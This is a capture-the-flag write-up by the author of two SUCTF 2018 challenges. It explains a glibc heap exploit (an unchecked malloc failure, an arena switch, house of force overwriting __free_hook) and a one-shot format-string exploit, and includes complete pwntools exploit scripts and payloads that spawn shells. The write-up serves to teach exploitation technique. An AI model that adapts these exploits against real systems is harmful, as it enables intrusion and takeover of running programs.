SUCTF 2018 noend && heapprint
28 May 2018I made two challenges for SUCTF this year. I got the ideas when I was exploring linux pwn technique and I want to share them with others. Though the logic of the challenges are extremely easy, the exploitation may be a little hard. Since only two teams solved one of the challenge and nobody solved the other, I decide to write a wp for them. If you like the writeup, follow me on github ^_^
Noend
This is a heap challenge. When I was playing the heap one day, I found that if you malloc a extremely large size that ptmalloc can’t handle, it would alloc and use another arena afterward. And this is where the challenge comes from.
Program info
Let’s take a look in the program
[*] '/home/ne0/Desktop/suctf/noend/noend'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
and the main logic of the program is
char* s;
char buf[0x20];
unsigned long long len;
Init();
while(1){
memset(buf,0,0x20);
read(0,buf,0x20-1);
len=strtoll(buf,NULL,10);
s=(char*)malloc(len);
read(0,s,len);
s[len-1]=0;
write(1,s,len&0xFFFF);
write(1,"\n",1);
if(len<0x80)
free(s);
}
return 0;
You can endless alloc a chunk with arbitrary size, but after you write something into it ,it gets freed if its size is less than 0x80. So most of the heap pwning techniques don’t work here as you can have only one chunk allocated.
Bug
Seems no bug at the first glance. But take a deeper look at the following code.
s=(char*)malloc(len);
read(0,s,len);
s[len-1]=0;
It doesn’t check the status of malloc. If the malloc fails due to some reason, s[len-1]=0
is equal to *(char*)(len-1)=0
, which means we can write a \x00
to almost arbitrary address.
Exploit
The leak is easy, and I will skip that part.
Suppose now we have the address of libc libc_base
and heap heap_base
, what do we do next?
The first idea that comes to me is house of force
— by partial overwrite a \x00
to the top chunk ptr. But after we do that ,we find that the main arena seems not working anymore..
Here’s a useful POC:
int main(){
printf("Before:\n");
printf("%p\n",malloc(0x40));
printf("Mallco failed:%p\n",malloc(-1));
printf("After:\n");
printf("%p\n",malloc(0x40));
return 0;
}
Before:
0xee7420
Mallco failed:(nil)
After:
0x7fb7b00008c0
The pointer malloc returns is 0x7fb7b00008c0
??!
You can read the source of glibc for more details. In a word, when you malloc a size that the main arena can’t handle, malloc will try to use another arena. And later allocations will all be handled by the arena. The insteresting part is that, after you switch the arena, if you malloc a extremely big size again, the arena will not change anymore! That means we can partial overwrite the top chunk pointer of this arena and use house of force
!
A little debugging after leak the address of another arena (in this case 0x7f167c000020
)
Almost same as main arena
gdb-peda$ telescope 0x7f167c000020 100
0000| 0x7f167c000020 --> 0x200000000
0008| 0x7f167c000028 --> 0x0
0016| 0x7f167c000030 --> 0x0
0024| 0x7f167c000038 --> 0x0
0032| 0x7f167c000040 --> 0x0
0040| 0x7f167c000048 --> 0x0
0048| 0x7f167c000050 --> 0x7f167c0008b0 --> 0x0
0056| 0x7f167c000058 --> 0x0
0064| 0x7f167c000060 --> 0x0
0072| 0x7f167c000068 --> 0x0
0080| 0x7f167c000070 --> 0x0
0088| 0x7f167c000078 --> 0x7f167c000920 --> 0x0
0096| 0x7f167c000080 --> 0x0
0104| 0x7f167c000088 --> 0x7f167c000078 --> 0x7f167c000920 --> 0x0
0112| 0x7f167c000090 --> 0x7f167c000078 --> 0x7f167c000920 --> 0x0
0120| 0x7f167c000098 --> 0x7f167c000088 --> 0x7f167c000078 --> 0x7f167c000920 --> 0x0
0128| 0x7f167c0000a0 --> 0x7f167c000088 --> 0x7f167c000078 --> 0x7f167c000920 --> 0x0
..............
Write the top chunk pointer
gdb-peda$ telescope 0x7f167c000020 100
0000| 0x7f167c000020 --> 0x200000000
0008| 0x7f167c000028 --> 0x7f167c0008b0 --> 0x0
0016| 0x7f167c000030 --> 0x0
0024| 0x7f167c000038 --> 0x0
0032| 0x7f167c000040 --> 0x0
0040| 0x7f167c000048 --> 0x0
0048| 0x7f167c000050 --> 0x0
0056| 0x7f167c000058 --> 0x0
0064| 0x7f167c000060 --> 0x0
0072| 0x7f167c000068 --> 0x0
0080| 0x7f167c000070 --> 0x0
0088| 0x7f167c000078 --> 0x7f167c000a00 --> 0x7f168bfa729a
0096| 0x7f167c000080 --> 0x7f167c0008d0 --> 0x0
0104| 0x7f167c000088 --> 0x7f167c0008d0 --> 0x0
0112| 0x7f167c000090 --> 0x7f167c0008d0 --> 0x0
0120| 0x7f167c000098 --> 0x7f167c000088 --> 0x7f167c0008d0 --> 0x0
0128| 0x7f167c0000a0 --> 0x7f167c000088 --> 0x7f167c0008d0 --> 0x0
....
gdb-peda$ telescope 0x7f167c000a00
0000| 0x7f167c000a00 --> 0x7f168bfa729a
0008| 0x7f167c000a08 --> 0x7f168bfa729a
0016| 0x7f167c000a10 --> 0x7f168bfa729a
0024| 0x7f167c000a18 --> 0x7f168bfa729a
You can see that instead of size 0xFFFFFFFFFFFFFFF
, I fake the size to be 0x7f168bfa729a
. This is a little confusing? Actually I calculate the size as onegadget+(freehook_addr top_chunk_addr)
.
This means that if I malloc(freehook_addr-top_chunk_addr)
, the size left happens to be onegadget
,and it locates in the address of freehook
!This is really hackish. Trigger free
and you can get the shell.
Of course you can also write system
into freehook
.Although actually you can’t write exactly system
but system+1
into freehook
, because the prev inused bit of the top chunk is always set.But it won’t stop you from getting a shell. Try it yourself!
Final Script
from pwn import *
pc='./noend'
libc=ELF('./libc.so.6')
p=process(pc,env={"LD_PRELOAD":'./libc.so.6'})
gdb.attach(p,'c')
#p=remote("pwn.suctf.asuri.org",20002)
def ru(a):
p.recvuntil(a)
def sa(a,b):
p.sendafter(a,b)
def sla(a,b):
p.sendlineafter(a,b)
def echo(size,content):
p.sendline(str(size))
sleep(0.3)
p.send(content)
k=p.recvline()
return k
def hack():
echo(0x38,'A'*8)
echo(0x28,'A'*8)
echo(0x48,'A'*8)
echo(0x7f,'A'*8)
k=echo(0x28,'A'*8)
libcaddr=u64(k[8:16])
libc.address=libcaddr-0x3c1b58
print("Libc base-->"+hex(libc.address))
p.sendline(str(libcaddr-1))
sleep(0.3)
echo(0x38,'A'*8)
p.clean()
echo(0x68,'A'*8)
echo(0x48,'A'*8)
echo(0x7f,'A'*8)
k=echo(0x68,'A'*8)
libcaddr=u64(k[8:16])
old=libcaddr
print("Another arena-->"+hex(old))
raw_input()
target=libc.address+0xf2519+0x10+1 # onegadget
libcaddr=libcaddr-0x78+0xa00
off=libc.symbols['__free_hook']-8-0x10-libcaddr
echo(0xf0,p64(off+target)*(0xf0/8))
p.sendline(str(old+1))
sleep(1)
p.sendline()
raw_input()
echo(off,'AAAA')
p.recvline()
p.clean()
echo(0x10,'/bin/sh\x00')
p.interactive()
hack()
Heapprint
This challenge is about format-string vuln. No leak. Trigger fmt once and get the shell? How is it even possible?
Program info
[*] '/home/ne0/Desktop/heapprint/heapprint'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
The logic is still simple:
long long d;
d=(long long)&d;
printf("%d\n",(d>>8)&0xFF);
d=0;
buffer=(char*)malloc(0x100);
read(0,buffer,0x100);
snprintf(bss_buf,0x100,buffer);
puts("Byebye");
Bug
Well, fmt obviously.
Exploit
We can only trigger fmt once. As the fmt needs some pointer at the stack, let’s take a look in gdb then.
Set a breakpoint at snprintf
[-------------------------------------code-------------------------------------]
0x55d16cc14a85: mov esi,0x100
0x55d16cc14a8a: lea rdi,[rip+0x2005cf] # 0x55d16ce15060
0x55d16cc14a91: mov eax,0x0
=> 0x55d16cc14a96: call 0x55d16cc14838
[------------------------------------stack-------------------------------------]
0000| 0x7ffc6b683860 --> 0x0
0008| 0x7ffc6b683868 --> 0xe99930963f8b8e00
0016| 0x7ffc6b683870 --> 0x55d16cc14ad0 (push r15)
0024| 0x7ffc6b683878 --> 0x7f8cf2942830 (<__libc_start_main+240>: mov edi,eax)
0032| 0x7ffc6b683880 --> 0x1
0040| 0x7ffc6b683888 --> 0x7ffc6b683958 --> 0x7ffc6b684fc0 ("./heapprint")
0048| 0x7ffc6b683890 --> 0x1f2f11ca0
.......
0144| 0x7ffc6b6838f0 --> 0x0
0152| 0x7ffc6b6838f8 --> 0x7ffc6b683968 --> 0x7ffc6b684fcc ("MYVIMRC=/home/ne0/.vimrc")
0160| 0x7ffc6b683900 --> 0x7f8cf2f13168 --> 0x55d16cc14000 --> 0x10102464c457f
0168| 0x7ffc6b683908 --> 0x7f8cf2cfc7cb (<_dl_init+139>: jmp 0x7f8cf2cfc7a0 <_dl_init+96>)
.......
0232| 0x7ffc6b683948 --> 0x1c
0240| 0x7ffc6b683950 --> 0x1
0248| 0x7ffc6b683958 --> 0x7ffc6b684fc0 ("./heapprint")
Well, we find a pointer to pointer at 0x40
. So it’s easy to come up with the idea that try to modify the pointer at 0248
to be 0x7ffc6b683878
, which pointers to the return address of main. Then modify it to be one gadget to get the shell.
Easier said than done. Let’s try solving it. To better demonstrate the poc, I will turn off aslr in gdb(Otherwise we will need to bruteforce 4 bit to correctly locate the address of return address)
#payload="%55928d%9$hn", 55928=0xda78
[-------------------------------------code-------------------------------------]
=> 0x555555554a96: call 0x555555554838
0x555555554a9b: lea rdi,[rip+0xb6] # 0x555555554b58
0x555555554aa2: call 0x555555554820
Guessed arguments:
arg[0]: 0x555555755060 --> 0x0
arg[1]: 0x100
arg[2]: 0x555555756010 ("%55928d%9$hn\n")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffda60 --> 0x0
0008| 0x7fffffffda68 --> 0x8879fe5d03add800
0016| 0x7fffffffda70 --> 0x555555554ad0 (push r15)
0024| 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>: mov edi,eax)
0032| 0x7fffffffda80 --> 0x1
0040| 0x7fffffffda88 --> 0x7fffffffdb58 --> 0x7fffffffdf44 ("./heapprint")
......
0240| 0x7fffffffdb50 --> 0x1
0248| 0x7fffffffdb58 --> 0x7fffffffdf44 ("./heapprint")
[-------------------------------------code-------------------------------------]
0x555555554a8a: lea rdi,[rip+0x2005cf] # 0x555555755060
0x555555554a91: mov eax,0x0
0x555555554a96: call 0x555555554838
=> 0x555555554a9b: lea rdi,[rip+0xb6] # 0x555555554b58
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffda60 --> 0x0
0008| 0x7fffffffda68 --> 0x8879fe5d03add800
0016| 0x7fffffffda70 --> 0x555555554ad0 (push r15)
0024| 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>: mov edi,eax)
0032| 0x7fffffffda80 --> 0x1
0040| 0x7fffffffda88 --> 0x7fffffffdb58 --> 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>: mov edi,eax)
......
0240| 0x7fffffffdb50 --> 0x1
0248| 0x7fffffffdb58 --> 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>: mov edi,eax)
Seems working!
Now modify the return address.
#payload="%55928d%9$hn%35$n", 55928=0xda78
[-------------------------------------code-------------------------------------]
=> 0x555555554a96: call 0x555555554838
0x555555554a9b: lea rdi,[rip+0xb6] # 0x555555554b58
0x555555554aa2: call 0x555555554820
Guessed arguments:
arg[0]: 0x555555755060 --> 0x0
arg[1]: 0x100
arg[2]: 0x555555756010 ("%55928d%9$hn%35$n\n")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffda60 --> 0x0
0008| 0x7fffffffda68 --> 0x8879fe5d03add800
0016| 0x7fffffffda70 --> 0x555555554ad0 (push r15)
0024| 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>: mov edi,eax)
0032| 0x7fffffffda80 --> 0x1
0040| 0x7fffffffda88 --> 0x7fffffffdb58 --> 0x7fffffffdf44 ("./heapprint")
......
0240| 0x7fffffffdb50 --> 0x1
0248| 0x7fffffffdb58 --> 0x7fffffffdf44 ("./heapprint")
[-------------------------------------code-------------------------------------]
0x555555554a8a: lea rdi,[rip+0x2005cf] # 0x555555755060
0x555555554a91: mov eax,0x0
0x555555554a96: call 0x555555554838
=> 0x555555554a9b: lea rdi,[rip+0xb6] # 0x555555554b58
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffda60 --> 0x0
0008| 0x7fffffffda68 --> 0x8879fe5d03add800
0016| 0x7fffffffda70 --> 0x555555554ad0 (push r15)
0024| 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>: mov edi,eax)
0032| 0x7fffffffda80 --> 0x1
0040| 0x7fffffffda88 --> 0x7fffffffdb58 --> 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>: mov edi,eax)
......
0240| 0x7fffffffdb50 --> 0x1
0248| 0x7fffffffdb58 --> 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>: mov edi,eax)
gdb-peda$ telescope 0x7fffffffdf44
0000| 0x7fffffffdf44 --> 0x727070610000da78
0008| 0x7fffffffdf4c --> 0x4956594d00746e69 ('int')
?? The return address is still the same,but content at 0x7fffffffdf44
has been changed! It seems that when the snprintf process %35$n
, it still uses the old value 0x7fffffffdf44
but not the new value 0x7fffffffda78
.
So what do we do now? Well, you can read the source of glibc, or you can try the following payload.
#payload="%c%c%c%c%c%c%c%55921d%hn%35$n", 55928=0xda78
[-------------------------------------code-------------------------------------]
=> 0x555555554a96: call 0x555555554838
0x555555554a9b: lea rdi,[rip+0xb6] # 0x555555554b58
0x555555554aa2: call 0x555555554820
Guessed arguments:
arg[0]: 0x555555755060 --> 0x0
arg[1]: 0x100
arg[2]: 0x555555756010 ("%c%c%c%c%c%c%c%55921d%hn%35$n\n")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffda60 --> 0x0
0008| 0x7fffffffda68 --> 0x8879fe5d03add800
0016| 0x7fffffffda70 --> 0x555555554ad0 (push r15)
0024| 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>: mov edi,eax)
0032| 0x7fffffffda80 --> 0x1
0040| 0x7fffffffda88 --> 0x7fffffffdb58 --> 0x7fffffffdf44 ("./heapprint")
......
0240| 0x7fffffffdb50 --> 0x1
0248| 0x7fffffffdb58 --> 0x7fffffffdf44 ("./heapprint")
[-------------------------------------code-------------------------------------]
0x555555554a8a: lea rdi,[rip+0x2005cf] # 0x555555755060
0x555555554a91: mov eax,0x0
0x555555554a96: call 0x555555554838
=> 0x555555554a9b: lea rdi,[rip+0xb6] # 0x555555554b58
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffda60 --> 0x0
0008| 0x7fffffffda68 --> 0x68a91f9995c84b00
0016| 0x7fffffffda70 --> 0x555555554ad0 (push r15)
0024| 0x7fffffffda78 --> 0x2aaa0000da78
0032| 0x7fffffffda80 --> 0x1
0040| 0x7fffffffda88 --> 0x7fffffffdb58 --> 0x7fffffffda78 --> 0x2aaa0000da78
0240| 0x7fffffffdb50 --> 0x1
0248| 0x7fffffffdb58 --> 0x7fffffffda78 --> 0x2aaa0000da78
gdb-peda$ telescope 0x7fffffffdf44
0000| 0x7fffffffdf44 ("./heapprint")
0008| 0x7fffffffdf4c --> 0x4956594d00746e69 ('int')
Wow, we successfully changed the return value of main!!! It seems that when snprintf processes the format with $
and those without $
independently. If you want more details, RTFSC.
But we don’t know the address of libc, so if we want to change the return address to be one gadget, we need to brute force 12 bit, plus 4 bit to guess the stack ,we have to brute force 16 bits!
Luckily, we don’t need to. In format-string processing, we have a special symbol *
. What’s its usage? Ask google.
With all these combined, we can get shell by bruteforce 5 bits, which is totally acceptable.
The Final Script
from pwn import *
remote_addr="pwn.suctf.asuri.org"
remote_port=20000
p=remote(remote_addr,remote_port)
offset=int(p.recvline().strip('\n'))
offset=(offset<<8)+0x18
offset2=0xd0917
payload='%c'*7+'%'+str(offset-7)+'d%hn'+'%c'*23+'%'+str(offset2-offset-23)+'d%*7$d%n'
p.sendline(payload)
p.interactive()
Conclusion
It is a little pity that nobody solves the challenge heapprint
. But what we learned is what matters. So hope you guys enjoy the challenges I make. Feel free to contact me if you have any question.